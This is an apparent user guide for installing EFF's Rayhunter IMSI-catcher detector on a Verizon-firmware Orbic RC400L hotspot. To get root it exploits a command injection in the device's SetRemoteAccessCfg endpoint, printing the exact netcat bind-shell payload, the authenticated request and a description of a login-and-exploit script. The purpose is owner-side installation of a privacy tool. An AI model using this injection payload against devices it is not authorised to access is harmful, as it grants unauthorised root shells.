Step-by-step install for the Verizon-branded firmware that the standard installer was not designed for.
Rayhunter is an open-source IMSI catcher detector built by the EFF. It runs on the Orbic RC400L mobile hotspot and monitors cellular traffic for signs of IMSI catchers (Stingrays) — devices used by law enforcement and others to track phones.
The Orbic RC400L ships with a GoAhead embedded web server. The Verizon-branded firmware (ORB400L_V1.2.1_BVZRT) uses the same authentication system as the standard firmware but with the API endpoint structure changed from /goform/ to /action/ for most calls.
The device has a command injection vulnerability in POST /action/SetRemoteAccessCfg. The password field is passed unsanitized to a shell command. By injecting "; busybox nc -ll -p 24 -e /bin/sh & #", we spawn a persistent root shell listener on port 24. This is the same exploit used by EFF's official installer orbic-network command — it is not patched in V1.2.1_BVZRT.
Once the shell is open, EFF's official macOS/Linux installer connects to it and installs the Rayhunter daemon, config, and init scripts automatically.
| Item | Notes |
|---|---|
| Mac (macOS) | Apple Silicon (M1+) or Intel — affects which installer zip you download |
| Python 3 + requests | pip3 install requests — only needed if you use the manual route |
| Orbic RC400L | Powered on, admin credentials known |
| Mac connected to Orbic WiFi | Device IP is 192.168.1.1 |
| Internet access on Mac | Needed to download the Rayhunter release (~18 MB) — do this first |
Your Mac needs internet to download the installer, but must be on the Orbic's WiFi to run the install. Download the installer first while on internet WiFi, then switch to Orbic WiFi to run it. The device itself has no cellular internet in this configuration.
These findings were required to make the install work on this firmware. Some differ from the standard Orbic firmware:
The device uses a custom JavaScript encryption scheme (encryption.js + login.js) that must be replicated exactly:
/goform/GetLoginInfo → returns priKey in format "secretxts"ts (timestamp) and secret as keys/goform/loginThe official EFF installer handles this automatically. The login.py script in this guide is a Python port of that logic for manual exploration.
Exact payload injected into the password field of SetRemoteAccessCfg:
{"password": "\"; busybox nc -ll -p 24 -e /bin/sh & #"}
"; — terminates the device's shell command and starts a new onebusybox nc -ll -p 24 -e /bin/sh — spawns a netcat listener, re-listening after each disconnect (-ll)& — backgrounds the process so the web request returns# — comments out the rest of the original command to prevent errorsDo steps A–D below. The EFF installer handles everything once you're on the Orbic WiFi.
A. While on internet WiFi — download the installer on your Mac:
$ cd ~/Downloads
# M1/M2/M3/M4 Mac:
$ curl -L "https://github.com/EFForg/rayhunter/releases/download/v0.10.2/rayhunter-v0.10.2-macos-arm.zip" -o rayhunter.zip
# Intel Mac:
$ curl -L "https://github.com/EFForg/rayhunter/releases/download/v0.10.2/rayhunter-v0.10.2-macos-intel.zip" -o rayhunter.zip
$ unzip rayhunter.zip -d rayhunter-install/
$ chmod +x rayhunter-install/rayhunter-v0.10.2-macos-arm/installer
B. Switch your Mac's WiFi to the Orbic hotspot.
C. Run the installer:
$ cd ~/Downloads/rayhunter-install/rayhunter-v0.10.2-macos-arm
$ ./installer orbic-network --admin-username YOUR_USERNAME --admin-password 'YOUR_PASSWORD'
D. When the installer finishes and the device reboots, open:
http://192.168.1.1:8080
This section documents the full manual process for understanding what's happening under the hood, or if the automatic installer fails.
You need the armv7 zip for the device binary and the macOS installer to run on your Mac. Download both while you have internet.
$ mkdir -p ~/Downloads/rayhunter && cd ~/Downloads/rayhunter
# macOS installer (for running on your Mac — pick your CPU type):
$ curl -L "https://github.com/EFForg/rayhunter/releases/download/v0.10.2/rayhunter-v0.10.2-macos-arm.zip" -o macos.zip
$ unzip macos.zip && chmod +x rayhunter-v0.10.2-macos-arm/installer
# armv7 zip (contains daemon binary + init scripts for the device):
$ curl -L "https://github.com/EFForg/rayhunter/releases/download/v0.10.2/rayhunter-v0.10.2-linux-armv7.zip" -o armv7.zip
$ unzip armv7.zip
# Contents you'll use from the armv7 zip:
# rayhunter-v0.10.2-linux-armv7/rayhunter-daemon/rayhunter-daemon ← the binary
# rayhunter-v0.10.2-linux-armv7/scripts/rayhunter_daemon ← init script
# rayhunter-v0.10.2-linux-armv7/scripts/misc-daemon ← system startup script
Connect your Mac to the RC400L's WiFi network. The device admin interface is at 192.168.1.1. You will lose internet access on your Mac — that's expected and fine.
Find your Mac's IP on the Orbic network (needed for the HTTP server fallback):
$ ipconfig getifaddr en0
192.168.1.174 ← your Mac's IP on the Orbic network
This is the recommended path. The installer authenticates, fires the command injection exploit, connects to the shell on port 24, and installs all files automatically.
$ cd ~/Downloads/rayhunter/rayhunter-v0.10.2-macos-arm
$ ./installer orbic-network --admin-username YOUR_USERNAME --admin-password 'YOUR_PASSWORD'
Logging in and starting telnet... done
Installing rayhunter... done
Waiting for reboot...
✓ Rayhunter installed successfully!
The device will reboot. Wait ~60 seconds, then open http://192.168.1.1:8080 in your browser.
If the official installer fails, you can replicate what it does manually. This requires:
login.py to authenticate and fire the exploit — this opens port 24nc and wget the files from your MacSee Section 6 for the login.py script.
$ set +H # disable zsh history expansion (needed for passwords with !)
$ python3 login.py YOUR_USERNAME 'YOUR_PASSWORD'
...
[✓] Login SUCCESS
[✓✓✓] Port 24 is OPEN — exploit WORKED!
[✓✓✓] SHELL ACTIVE on port 24!
$ cd ~/Downloads/rayhunter
$ python3 -m http.server 8888
Serving HTTP on :: port 8888 ...
$ nc 192.168.1.1 24
# You now have a root shell on the device. Run:
mkdir -p /data/rayhunter /data/rayhunter/qmdl
wget http://192.168.1.174:8888/rayhunter-v0.10.2-linux-armv7/rayhunter-daemon/rayhunter-daemon \
-O /data/rayhunter/rayhunter-daemon
chmod 755 /data/rayhunter/rayhunter-daemon
wget http://192.168.1.174:8888/rayhunter-v0.10.2-linux-armv7/scripts/rayhunter_daemon \
-O /etc/init.d/rayhunter_daemon
wget http://192.168.1.174:8888/rayhunter-v0.10.2-linux-armv7/scripts/misc-daemon \
-O /etc/init.d/misc-daemon
chmod 755 /etc/init.d/rayhunter_daemon
chmod 755 /etc/init.d/misc-daemon
cat > /data/rayhunter/config.toml << 'EOF'
qmdl_store_path = "/data/rayhunter/qmdl"
port = 8080
debug_mode = false
colorblind_mode = false
device = "orbic"
ui_level = 1
key_input_mode = 0
ntfy_url = ""
enabled_notifications = ["Warning", "LowBattery"]
min_space_to_start_recording_mb = 1
min_space_to_continue_recording_mb = 1
[analyzers]
imsi_requested = true
connection_redirect_2g_downgrade = true
lte_sib6_and_7_downgrade = true
null_cipher = true
nas_null_cipher = true
incomplete_sib = true
test_analyzer = false
diagnostic_analyzer = true
EOF
/etc/init.d/rayhunter_daemon start
sleep 3
wget -q -O - http://localhost:8080/index.html | head -5
# If you see HTML output, Rayhunter is running!
This Python script reverse-engineers the RC400L's custom authentication scheme from encryption.js and login.js, then fires the command injection exploit. It's a Python port of EFF's orbic_network.rs.
Save as login.py and run: python3 login.py YOUR_USERNAME 'YOUR_PASSWORD'
Run set +H before running the script if your password contains ! — zsh's history expansion will mangle it otherwise.
GET /goform/GetLoginInfo → returns priKey e.g. "44d2addexe3f3"x: secret = "44d2adde", ts = "e3f3"hashlib.md5(USER.encode()).hexdigest()secret and tsPOST /goform/login with {"username": md5_user, "password": encoded}{"retcode": 0} = success; session cookie is now setAfter login, one authenticated POST is all it takes:
# Exact payload from EFF's orbic_network.rs:
POST /action/SetRemoteAccessCfg
Content-Type: application/json
Cookie: -goahead-session-=::webs.session::<your session id>
{"password": "\"; busybox nc -ll -p 24 -e /bin/sh & #"}
# Response: {"retcode": 0}
# Port 24 opens ~2 seconds later with a root shell
The full login.py source is saved alongside this guide on your Desktop. It includes: the full character array tables from encryption.js, the password_encode() function, the exploit, port scanning, endpoint discovery, and session keepalive.
After the installer completes and the device reboots (~60 seconds):
http://192.168.1.1:8080 in any browser| Field | Expected value |
|---|---|
| Rayhunter Version | 0.10.2 |
| Current Recording | Active, incrementing bytes |
| Warnings badge | 0 warnings (green = no IMSI catcher detected) |
| Storage | 209 MB+ available |
| Battery | Green bar |
$ curl -s http://192.168.1.1:8080/api/version
{"version":"0.10.2"}
Rayhunter starts automatically on every boot. The web UI is always at http://192.168.1.1:8080 when connected to the Orbic's WiFi.
The RC400L is battery-powered and portable. Carry it in your bag when attending protests, courthouses, or other sensitive locations. Connect your phone to it as a hotspot — it won't interfere with normal operation while monitoring for IMSI catchers.
set +H in zsh if your password has !http://192.168.1.1/action/SetRemoteAccessCfg not /goform/SetRemoteAccessCfgGetRemoteAccessCfg response: {"sshd":1,"telnetd":1,"telnetStatus":0} — this endpoint exists and respondsmacOS removed telnet. Use nc (netcat) which is built in:
$ nc 192.168.1.1 24 # instead of telnet 192.168.1.1 24
The -ll flag means the listener keeps running after disconnects. Just reconnect: nc 192.168.1.1 24
The embedded web server has a low connection limit. Add Connection: close headers and time.sleep() between requests. login.py handles this with the safe_get() retry wrapper.
SSH in via the nc shell and check:
cat /data/rayhunter/rayhunter.log
ls -la /data/rayhunter/
ps | grep rayhunter
# If not running, start manually:
/etc/init.d/rayhunter_daemon start
Despite that error message in the installer output, this refers to the telnet setup step not a separate telnet service. The exploit uses netcat on port 24, not the device's native telnet daemon on port 23. Port 23 is closed on this firmware. The exploit on port 24 is what actually works.
The nc shell on port 24 is in-memory. If the device reboots before the init scripts are installed, you'll need to re-run the exploit (which is fine — it's repeatable).